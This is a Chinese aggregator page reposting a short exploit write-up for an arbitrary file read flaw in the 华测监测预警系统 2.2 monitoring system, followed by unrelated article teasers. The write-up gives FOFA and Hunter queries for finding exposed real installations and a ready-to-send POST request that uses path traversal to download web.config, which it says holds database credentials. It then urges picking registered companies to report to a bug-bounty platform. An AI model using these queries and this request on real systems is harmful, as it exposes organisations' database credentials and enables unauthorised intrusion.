当前位置： 首页 > news >正文

华测监测预警系统 2.2---任意文件读取漏洞

news 2026/2/11 5:09:58

目录

1. 资产搜集

2. 漏洞复现

3. 实战总结

1. 资产搜集

直接上fofa 和 hunter
个人推荐hunter可以看到icp备案公司直接提交盒子就行了

FOFA语法 app=”华测监测预警系统2.2”

Hunter语法 web.body=”华测监测预警系统2.2”

图片

2. 漏洞复现

这里手动复现的，目录是/Handler/FileDownLoad.ashx
通过hackerbar 可以修改POST传参，或者利用BP构造请求包。

 

  1.  
    POST /Handler/FileDownLoad.ashx HTTP/1.1
     
  2.  
    Host: ip:port
     
  3.  
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
     
  4.  
    Accept-Encoding: gzip, deflate
     
  5.  
    Accept: */*
     
  6.  
    Connection: close
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    Content-Length: 36
     
  9.  
     
  10.  
    filename=1&filepath=../../web.config
     
 

这里的filename随便传参，只是一个文件名字。
 filepath是文件路径，这里访问后会直接下载文件到本地。
 

 

图片
 

文件里包含了数据库的账号密码
 

3. 实战总结
 

最后直接用hunter找到有备案信息的公司，直接提交 盒子成功！！！
 

图片
 

 

图片
 

                                                            没看够~？欢迎关注扫一扫！
 















相关文章：
















华测监测预警系统 2.2---任意文件读取漏洞




目录 1. 资产搜集 
2. 漏洞复现 
3. 实战总结 1. 资产搜集 
直接上fofa 和 hunter 个人推荐hunter可以看到icp备案公司直接提交盒子就行了 
FOFA语法 app”华测监测预警系统2.2” 
Hunter语法 web.body”华测监测预警系统2.2” 2. 漏洞复现 
这里手动复现的，目录是/…...






编程日记
2023/10/19 18:03:18



















新版多功能去水印工具微信小程序源码下载+带流量主功能




新版多功能去水印工具微信小程序源码下载，带流量主功能。自带去水印接口的多功能小程序，支持各大平台短视频去水印。 支持保存封面、图集、标题等等；支持本地图片去水印；支持图片拼接；支持九宫格切图；支持修…...






编程日记
2023/10/19 18:01:14



















文章必备| 叶绿体基因组高级分析内容汇总




叶绿体普遍存在于植物体中，叶绿体基因组是一个典型的双链环状DNA分子，一个植物当中含有多个叶绿体，一个叶绿体中含有12个cpDNA分子。 
常见的植物叶绿体基因组大小一般在150-160 kb左右，藻类会略小一些，在80-100 kb左右…...






编程日记
2023/10/19 18:00:13



















阿里实习JAVA后端面经总结




暑期实习面试阿里Java后端岗位的一面的面经。 
主要拷打了项目+Java 集合+Java并发+网络+mysql，一场面试大概问了 20 个题目，问的还是比较基础，不算太难。 
问题记录 
简历上有两个项目，选一个你比较熟悉的介绍 
（略） 
项目用到了哪个线程实现类？ 
用了ScheduledThreadP…...






编程日记
2023/10/19 17:59:13



















利用 NLP 超能力：一步步介绍Hugging Face微调教程




导入必要的库 
导入必要的库类似于为特定编程和数据分析活动构建工具包。这些库通常是预先编写的代码集合，提供广泛的功能和工具，有助于加快开发速度。开发人员和数据科学家可以通过导入适当的库来访问新功能、提高生产力并使用现有解决方案。 
import pandas as pd
import n…...






编程日记
2023/10/19 17:58:11



















凝聚技术力量 共建测试生态 ——集成电路测试技术交流日成功举办




10月18日下午，凝聚技术力量，共建测试生态 ——集成电路测试技术交流会在上海成功举办。来自全国各地知名专家学者、技术大咖及企业代表齐聚一堂，共同探讨封装测试技术的发展方向，共话产业未来，共促产业发展。 本次活动…...






编程日记
2023/10/19 17:57:10



















机器学习-ROC曲线：技术解析与实战应用




目录 一、引言ROC曲线简介 二、ROC曲线的历史背景二战雷达信号检测在医学和机器学习中的应用横跨多个领域的普及 三、数学基础True Positive Rate（TPR）与False Positive Rate（FPR）True Positive Rate（TPR）F…...






编程日记
2023/10/19 17:56:09



















macos平台好用的FTP客户端 Transmit 5最新中文




Transmit 5是一款Mac平台上的FTP(文件传输协议)客户端软件，它可以让用户方便地在不同的计算机之间传输文件，例如从本地计算机上传或下载文件到远程服务器。以下是Transmit 5的一些主要功能和特点： 
用户友好的界面：Transmit 5具有…...






编程日记
2023/10/19 17:55:08



















用JavaScript输出0-9的两种方法、以及setTimeout的三个参数的意义




方法一：  
for (let i  0; i < 10; i) {setTimeout(() > {console.log(i);}, 1000)
} 
方法二&#xff1a;利用 setTimeout 函数的第三个参数&#xff0c;会作为回调函数的第一个参数传入 
for (var i  0; i < 10; i) {setTimeout(i > {console.log(i);…...






编程日记
2023/10/19 17:53:07



















酷鸟云近期主要新功能合集




近期&#xff0c;根据用户需求&#xff0c;酷鸟云上线了一系列新功能&#xff0c;让大家在使用过程中&#xff0c;更加灵活和高效。 1、仿真指纹功能优化 
酷鸟云内置的专业防关联浏览器的仿真指纹功能&#xff0c;可以解决注册谷歌账号/谷歌邮箱&#xff08;Gmail&#xff09;…...






编程日记
2023/10/19 17:52:03



















【大数据开发技术】实验06-SequenceFile、元数据操作与MapReduce单词计数




文章目录 SequenceFile、元数据操作与MapReduce单词计数一、实验目标二、实验要求三、实验内容四、实验步骤附&#xff1a;系列文章 SequenceFile、元数据操作与MapReduce单词计数 
一、实验目标 
熟练掌握hadoop操作指令及HDFS命令行接口掌握HDFS SequenceFile读写操作掌握Map…...






编程日记
2023/10/19 17:51:02



















【C语言】输入一个正整数，判断其是否为素数




1、素数又叫质数。素数&#xff0c;指的是“大于1的整数中&#xff0c;只能被1和这个数本身整除的数”。 
2、素数也可以被等价表述成&#xff1a;“在正整数范围内&#xff0c;大于1并且只有1和自身两个约数的数”。 #include<stdio.h>int main() {int i,m;printf("…...






编程日记
2023/10/19 17:50:01



















2023年Q3季度国内手机大盘销额下滑2%，TOP品牌销售数据分析




根据Canalys机构发布的最新报告&#xff0c;2023年第三季度&#xff0c;全球智能手机市场出货量仅下跌1%&#xff0c;可以认为目前全球手机市场的下滑势头有所减缓。而国内线上市场的表现也类似。 根据鲸参谋数据显示&#xff0c;今年Q3京东平台手机累计销量约1100万件&#xf…...






编程日记
2023/10/19 17:49:00



















使用按钮从 SAP 系统内打开 Excel 文件




了解如何通过 SAP 屏幕上创建的按钮打开所需的 Excel 文件。为了演示这一点&#xff0c;将指导您完成以下步骤。 
使用 del 命令删除 SAP 上不必要的元素添加一个按钮&#xff0c;单击后打开弹出窗口创建一个函数来选择 excel 文件创建打开所需 excel 文件的函数 
定制 
登录 S…...






编程日记
2023/10/19 17:47:58



















人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络，技术创新点介绍




大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络&#xff0c;技术创新点介绍&#xff0c;随着人工智能和深度学习技术的飞速发展&#xff0c;文本到视频生成已经成为计算机视觉领域中一个重…...






编程日记
2023/10/19 17:46:57



















C/C++面试常见问题——指针和引用的区别




首先想要理解指针和引用的区别&#xff0c;我们要明确什么是指针&#xff0c;什么是引用 
一&#xff0c;指针和引用的基本概念及特性 
指针是一个特殊变量&#xff0c;其中存储着所指向变量的地址 
指针主要有以下特性&#xff1a; 
1. 在使用时需要*解引用 
2. sizeof(指针)的…...






编程日记
2023/10/19 17:45:56



















探索DeFi世界，MixGPT引领智能金融新时代




随着区块链技术的迅猛发展&#xff0c;DeFi&#xff08;去中心化金融&#xff09;正成为金融领域的新宠。在这个充满活力的领域里&#xff0c;MixTrust站在创新的前沿&#xff0c;推出了一款引领智能金融新时代的核心技术——MixGPT。 MixGPT&#xff1a;引领智能金融体验的大型…...






编程日记
2023/10/19 17:44:55



















留学教育咨询机构如何通过软文强势突围




近年来留学市场逐渐回暖&#xff0c;但是行业竞争也更加激烈&#xff0c;留学教育咨询机构想要在激烈的市场竞争中强势突围&#xff0c;除了优秀的职业素养&#xff0c;专业的服务态度外&#xff0c;还需要具备品牌形象打造和推广的能力&#xff0c;也有不少留学机构找盒子进行…...






编程日记
2023/10/19 17:43:52



















苹果平板可以用别的电容笔吗？电容笔和Apple pencil区别




和苹果原装的Pencil相比&#xff0c;这种平替的电容笔并没具备重力压感&#xff0c;只有一种倾斜的压感功能。如果你不经常用来作画&#xff0c;一支普通的电容笔就足够了。不管是用来记笔记&#xff0c;还是用来解决一些数学问题&#xff0c;都能用得上。再说了&#xff0c;即…...






编程日记
2023/10/19 17:42:51



















【Matlab笔记_16】yyyy-MM-dd HH:mm:ss的datetime格式拆分为yyyy-MM-dd日期部分和HH:mm:ss时间部分




实例&#xff1a;需要拆分的时间为’2002-04-17 11:00:00’ 
1拆分出 ‘2002-04-17’ 
% 假设datetime对象是 dt&#xff0c;例如&#xff1a;
dt  datetime(2002-04-17 11:00:00);% 使用dateshift提取日期部分
dateOnly  dateshift(dt, start, day);% 显示提取的日期部分
disp…...






编程日记
2023/10/19 17:41:50





















网络编程（Modbus进阶）




思维导图 Modbus RTU&#xff08;先学一点理论&#xff09; 
概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议&#xff0c;由 Modicon 公司&#xff08;现施耐德电气&#xff09;于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...






编程新知
2026/2/9 2:42:51



















Java 语言特性(面试系列2)




一、SQL 基础 1. 复杂查询 &#xff08;1&#xff09;连接查询&#xff08;JOIN&#xff09; 内连接&#xff08;INNER JOIN&#xff09;&#xff1a;返回两表匹配的记录。 SELECT e.name, d.dept_name
FROM employees e
INNER JOIN departments d ON e.dept_id  d.dept_id; 左…...






编程新知
2025/10/24 14:20:29



















调用支付宝接口响应40004 SYSTEM_ERROR问题排查




在对接支付宝API的时候&#xff0c;遇到了一些问题&#xff0c;记录一下排查过程。 
Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...






编程新知
2026/2/8 20:41:48



















关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案




问题描述&#xff1a;iview使用table 中type: "index",分页之后 &#xff0c;索引还是从1开始&#xff0c;试过绑定后台返回数据的id, 这种方法可行&#xff0c;就是后台返回数据的每个页面id都不完全是按照从1开始的升序&#xff0c;因此百度了下&#xff0c;找到了…...






编程新知
2026/1/29 20:58:41



















Opencv中的addweighted函数




一.addweighted函数作用 
addweighted&#xff08;&#xff09;是OpenCV库中用于图像处理的函数&#xff0c;主要功能是将两个输入图像&#xff08;尺寸和类型相同&#xff09;按照指定的权重进行加权叠加&#xff08;图像融合&#xff09;&#xff0c;并添加一个标量值&#x…...






编程新知
2026/2/1 1:50:03



















vue3 字体颜色设置的多种方式




在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 
1. 内联样式 
你可以直接在模板中使用style绑定来设置字体颜色。 
<template><div :s…...






编程新知
2026/2/4 20:47:44



















镜像里切换为普通用户




如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...






编程新知
2025/9/11 11:00:29



















全面解析各类VPN技术：GRE、IPsec、L2TP、SSL与MPLS VPN对比




目录 引言  VPN技术概述  GRE VPN 3.1 GRE封装结构  3.2 GRE的应用场景   GRE over IPsec 4.1 GRE over IPsec封装结构  4.2 为什么使用GRE over IPsec&#xff1f;   IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09;  5.2 IPsec隧道模式&#xff08;Tunne…...






编程新知
2025/11/3 0:44:41



















CSS设置元素的宽度根据其内容自动调整




width: fit-content 是 CSS 中的一个属性值&#xff0c;用于设置元素的宽度根据其内容自动调整&#xff0c;确保宽度刚好容纳内容而不会超出。 
效果对比 默认情况&#xff08;width: auto&#xff09;&#xff1a; 块级元素&#xff08;如 <div>&#xff09;会占满父容器…...






编程新知
2025/10/16 16:03:09



















C++使用 new 来创建动态数组




问题&#xff1a; 
不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...






编程新知
2026/2/2 18:33:19